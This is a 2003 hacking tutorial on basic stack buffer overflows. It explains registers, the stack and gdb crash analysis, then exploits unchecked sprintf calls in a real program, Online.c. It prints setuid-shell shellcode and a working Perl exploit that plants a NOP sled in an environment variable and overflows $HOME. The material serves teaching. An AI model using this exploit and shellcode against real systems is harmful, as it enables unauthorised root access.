o=========================================================o |=- Real world basic buffer overflow exploits -=| o=========================================================o - date 14.09.2003 Hi there! I know that people always want new and fresh tutorials about everything, so here it is, and also, there was no buffer overflow tutorial for a long time :-). I already had my old buffer overflow tutorial, so #include "old-tutorial" was done. In this text, I'll try to explain/show basic buffer overflow techique on real-world example. Today was very boring day and I downloaded few applications from www.sourceforge.org. Interesting application was 'Online.c' ("a quick listing of logged on friends"). Why is Online.c so interesting to us? Because Online.c is real-world example of VERY insecure programming style. I could write an advisory for Online.c, but I just doubt that somebody use that program. Tutorial example is a better solution. This isn't a complete buffer overflow tutorial. If you want complete tutorial, read "Smashing stack for fun and profit" by Aleph1 - the best buffer overflow tutorial over many years. Here you will see how to exploit one 'real-world' example (btw: you won't gain root with it :-). Linux, C and assembler knowledge would help you alot :-). On with the show... Stack and registers =================== You should know this by now, but here it is....;-) LEARN QUICK: Processor registers that you must understand: ESP - Stack Pointer ; points to the top of the stack EBP - Base Pointer (or Frame Pointer) ; points to some structure inside of stack EIP - Instruction Pointer (or Program Counter); contain memory address of next instruction that will be executed. In one "very good" book EIP was called segment register. EIP is not a segment register, it is only used as a far pointer with CS (Code Selector) segment register. If an attacker has a control over EIP register, game is over. ALl these registers are 32 bits (4 bytes) large. Something about memory: Stack - memory used for storing arguments to the function, return address, local variables etc. Stack grows from higher to lower memory addresses. Bottom of the stack is fixed on memory location pointed by SS (Stack Selector) register, but that is not important for this text. PUSH, POP - operations on Stack. PUSH will put one element on Stack, and POP will take one element from stack. LIFO - Last In First Out. This is stack organization used on x86 processors. Last element pushed on stack is also first that will be poped from it. Take a look at this asm code (Intel syntax): ------------ mov eax, 0x1 mov ebx, 0x2 mov ecx, 0x3 mox edx, 0x4 push eax push ebx push ecx push edx ------------ After execution of that code, stack will look like this: /\ | | || Top(ESP) -> |---------------| Lower memory adresses | 0x4 | |---------------| | 0x3 | |---------------| | 0x2 | |---------------| | 0x1 | Bottom -> |---------------| Higher memory addresses | | || \/ Last pushed element is on the top of the stack. So, first POP instruction will return 0x4, second 0x3 and so on. Function call ============= When some function is called, few things has to be done if we want to return from that function to main program. When you see somewhere ------------- call somefunc ------------- you know that function named somefunc is called. What you probably don't see is this: 1) Function is called and EIP register is pushed on the stack 2) EBP register is pushed on the stack 3) EBP register is set to value of ESP register 4) Memory for local variables is allocated by subtracting variables memory size from ESP register. 5) Some code is executed. 6) Earlier subtracted value is now again added to ESP register 7) LEAVE and RET instructions are executed. EIP is poped from the stack. Steps 1 - 4 are called function prologue, steps 6 and 7 are called function epilogue. Program vuln.c will be used as an example. vuln.c: ------ void overflow (char *buf) { char var[16]; strcpy(var,buf); } main (int argc, char **argv) { overflow(argv[1]); } ------ [root@wbox ONLINE]# gcc vuln.c -o vuln [root@wbox ONLINE]# gdb ./vuln ot@wbox ONLINE]# gdb ./vuln GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disass main Dump of assembler code for function main: 0x80483e0
: push %ebp 0x80483e1 : mov %esp,%ebp 0x80483e3 : mov 0xc(%ebp),%eax 0x80483e6 : add $0x4,%eax 0x80483e9 : mov (%eax),%edx 0x80483eb : push %edx 0x80483ec : call 0x80483c8 <- STEP 1 0x80483f1 : add $0x4,%esp 0x80483f4 : leave 0x80483f5 : ret 0x80483f6 : nop 0x80483f7 : nop 0x80483f8 : nop 0x80483f9 : nop ..... End of assembler dump. (gdb) disass overflow Dump of assembler code for function overflow: 0x80483c8 : push %ebp <- STEP 2 0x80483c9 : mov %esp,%ebp <- STEP 3 0x80483cb : sub $0x10,%esp <- STEP 4 0x80483ce : mov 0x8(%ebp),%eax 0x80483d1 : push %eax 0x80483d2 : lea 0xfffffff0(%ebp),%eax 0x80483d5 : push %eax 0x80483d6 : call 0x8048308 0x80483db : add $0x8,%esp <- STEP 6 0x80483de : leave <- STEP 7 0x80483df : ret <- STEP 7 End of assembler dump. (gdb) STEP 5 is everything between step 4 and 6. Where is the problem? ===================== As you know, after function prologue, stack looks like this: /\ | | || Top(ESP) -> |---------------| Lower memory adresses | LOCAL | | VARIABLE | |---------------| | EBP | |---------------| | EIP | Bottom -> |---------------| Higher memory addresses | | || \/ If we could write to memory after LOCAL VARIABLE memory space, we could control EBP and EIP registers, which means that we would have control over program execution flow. That is possible, in fact, that is buffer overflow. What could help us to write after LOCAL VARIABLE memory space? Answer is: buffer-overflow-friendly string operation functions such as strcpy, sprintf, strcat, scanf, gets, etc. These functions doesn't check arguments size, so attacker can copy string 32 bytes large to string 16 bytes large. 16 bytes will be written to variable buffer space, and another 16 bytes will overwrite EBP and EIP register which are stored on stack. Example with vuln.c: [root@wbox ONLINE]# ulimit -c unlimited [root@wbox ONLINE]# ./vuln `perl -e 'print "A" x 24'` Segmentation fault (core dumped) [root@wbox ONLINE]# gdb -c=core GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) i r eax 0xbffffadc -1073743140 ecx 0xfffffe95 -363 edx 0xbffffc5f -1073742753 ebx 0x4010648c 1074816140 esp 0xbffffaf4 0xbffffaf4 ebp 0x41414141 0x41414141 esi 0x4000a610 1073784336 edi 0xbffffb44 -1073743036 eip 0x41414141 0x41414141 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 (gdb) Cool, now we see that EBP and EIP registers are overflowed with A characters (hexadecimal value of A character is 0x41). Stack looks like this: - Before overfow: 16 bytes 4 byte 4 byte [localvariableVAR][Saved_EBP][Saved_EIP] - After overflow: var[16] EBP EIP [AAAAAAAAAAAAAAAA][AAAA][AAAA] When STEP 7 (return from function) will come, AAAA will be poped from stack as EIP value, and processor will try to execute instruction at 0x41414141. That is not possible, and segmentation fault signal is delivered. We can control EIP register, and we have complete control on program execution flow. How could we use that? ====================== We need to explain what is shellcode and NOP's. Shellcode is a program (sequence of instructions) that attacker wants to run under the privileges of vulnerable program. Shellcode can be anywhere in the memory (but that part of memory must have execute flag). For local buffer overflows, shellcode can be in some environment variable, because environment variables are mapped in process/program memory with program data/code. There are many types of shellcode: execve, break-chroot, port-bind, connect etc. shellcodes. In this tutorial, I won't explain you how to write shellcode, but how to use it. Here you can see simple shellcode that I wrote for my ptrace exploit. It could be much smaller, but it is functional :-). /* chown ("/tmp/sh",0,0); + chmod ("/tmp/sh",06777); + exit (0); */ char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x70\x2f" "\x73\x68\x68\x2f\x2f\x74\x6d\xb0\xb6\x8d\x1c\x24" "\x8d\x0a\xcd\x80\xb0\x0f\x8d\x1c\x24\x66\xb9\xff" "\x0d\xcd\x80\xb0\x01\xcd\x80\xc9\xc3"; NOP (opcode 0x90) is instruction that do nothing. NOP is used for easyer return address calculation. Now, what should we do? Simple, this: 1) Create string with alot of NOPs that leads to shellcode, and place that string in environment variable. 2) Overwrite saved EIP register with address of NOPs in memory. 3) b0000m, root shell - game over ;-)))!!! How to calculate valid address where NOPs are placed in memory? You can try to get ESP value and do a little bit of brute-force/address-calculation-with-help-of-debugger. ESP value can be obtained with this function: unsigned long getesp() { __asm__ ("movl %esp, %eax"); } Real-world Online.c =================== This is very buggy :-). Buggy function: ------------------------------------------------- ..... struct friends{ char name[20]; char nickname[40]; int color; struct friends *next; }; ..... void create_friend_list(){ FILE *friend; friends data; char home[255]; char *friends_file; friends_file = getenv("FRIENDS"); if (friends_file == NULL) sprintf(home, "%s/.friends", getenv("HOME")); // <- $HOME buffer overflow else sprintf(home, "%s", friends_file); // <- $FRIENDS buffer overflow if((friend=fopen(home,"r")) == NULL){ fprintf(stderr,"\n Cannot access friends file \"%s\"",home); exit(1); } while((fscanf(friend, "%d %s %[^\n]", &data.color, data.name, data.nickname))!=EOF){ // <- Nickname buffer overflow if(strlen(data.nickname)>=30) data.nickname[30]='\0'; insert_friend(&data); } fclose(friend); } ..... ------------------------------------------------- On first look, In this function you can find 3 buffer overlfows. 1) $HOME buffer overflow (sprintf) ------------------------------------ #!/usr/bin/perl # # Online.c $HOME buffer overflow exploit written just for an example # # Coded by DownBload \ # Illegal Instruction Labs $NOP = "\x90"; $NP = 0xbffffc58+600; # if exploit won't work for you, brute-force this $ADDR = pack ('L',$NP); $shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x70\x2f". "\x73\x68\x68\x2f\x2f\x74\x6d\xb0\xb6\x8d\x1c\x24". "\x8d\x0a\xcd\x80\xb0\x0f\x8d\x1c\x24\x66\xb9\xff". "\x0d\xcd\x80\xb0\x01\xcd\x80\xc9\xc3"; $dir = "/root/" . "A" x 161; $dir2 = "A" x 161 . "AAA" . $ADDR; system ("rm -rf /root/AAAA*"); system ("cp /bin/sh /tmp/sh"); system ("mkdir $dir;cd $dir;mkdir $dir2"); $ENV{'HOME'} = $dir . "/" . $dir2 . "/"; $ENV{'OSTYPE'} = $NOP x 1000 . $shellcode; system ("echo 1 test asd > \$HOME/.friends"); system ("./a.out"); system ("rm -rf /root/AAAA*"); ------------------------------------ 2) $FRIENDS buffer overflow (sprintf) Exploit would be almost same as exploit for first example. 3) Nickname || name buffer overflow (fscanf) If you put very long nickname or name in .friends file, EIP will be overflowed. More ==== If you wanna test your knowledge of buffer-overflows, try: http://www.ii-labs.org/wargame/. Cya....I'm so tired........ ------------------------------------ DownBload / Illegal Instruction Labs Security Research & Education http://www.ii-labs.org e-mail:downbload[at]hotmail.com "Born under the lucky star magical, but on this earth generally tragical."